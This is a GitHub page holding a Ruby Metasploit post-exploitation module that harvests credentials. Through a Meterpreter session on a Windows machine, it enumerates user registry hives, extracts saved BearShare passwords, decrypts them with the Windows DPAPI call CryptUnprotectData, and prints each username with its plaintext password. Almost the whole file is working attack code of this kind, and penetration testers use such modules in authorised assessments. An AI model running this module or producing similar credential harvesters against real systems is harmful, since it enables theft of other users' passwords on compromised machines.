-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbearshare_decrypt.rb
141 lines (120 loc) · 3.91 KB
/
bearshare_decrypt.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# TODONE:
# Enumerate Users (walk HKU)
# Check for passwords gracefully
# Run "ruby ./tools/msftidy.rb ~/.msf4/modules/post/windows/gather/bearshare_decrypt.rb"
# Use vprint statements for verbose output
# TODO:
# When SYSTEM, load HKU hive using load_missing_hive
# When current user, just print the current user
# QUESTIONS:
# Are all the require and include statements necessary?
# Why does decryption fail if I'm looking under a different user?
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
#require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/user_profiles'
#require 'msf/core/post/windows/priv'
#require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
1 include Msf::Post::Windows::Registry
# include Msf::Post::Windows::Priv
# include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Bearshare Encrypted Password Extraction',
'Description' => %q{
This module extracts and decrypts saved Bearshare Encrypted Password
from the Windows Registry for local accounts.
},
'License' => MSF_LICENSE,
'Author' => [
'mubix', # Original code
'n1tr0', # Converted to post module
'surefire' # Completed conversion and added functionality
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [[ 'URL', 'http://forums.hak5.org/index.php?/topic/28898-decrypting-a-hex-code-from-registry/']
]
))
end
def decrypt_password(data)
rg = session.railgun
pid = client.sys.process.getpid
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(128)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
#print_status("#{ret.inspect}")
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
len = [data.length].pack("Q")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret["pDataOut"].unpack("Q2")
end
return "" if len == 0
decrypted_password = process.memory.read(addr, len-1)
return decrypted_password
end
def get_HKU_users()
hku_users = []
user_hives = load_missing_hives()
user_hives.each do |k|
# Skip "*_Classes" keys
vprint_status "Loaded hive: #{k.to_s}"
hku_users.append( "#{k["SID"]}" )
end
return hku_users
end
def get_bearshare_users(hkcu)
bearshare_users = []
key_base = "#{hkcu}\\Software\\BearShare\\Users"
keys = registry_enumkeys( key_base )
if keys != nil
keys.each do |k|
bearshare_users.append( "#{k}" )
end
end
return bearshare_users
end
def get_encrypted_password(sid,user)
key_base = "HKU\\#{sid}\\Software\\BearShare\\Users\\#{user}"
begin
encrypted_password = registry_getvaldata(key_base, "Password")
vprint_good "Found encrypted password for user #{user}"
return encrypted_password
rescue
print_error "Unable to find encrypted password for user #{user}"
return false
end
end
def run
hkey_users = get_HKU_users()
hkey_users.each do |sid|
bearshare_users = get_bearshare_users("HKU\\#{sid}")
if bearshare_users == []
vprint_status "No users found under user #{sid}"
else
bearshare_users.each do |bearshare_user|
print_good "Found #{bearshare_user} under SID #{sid}"
data = get_encrypted_password(sid, bearshare_user)
if data
password = decrypt_password(data)
print_good "Username / Password : #{bearshare_user} / #{password.inspect}"
end
end
end
end
end
end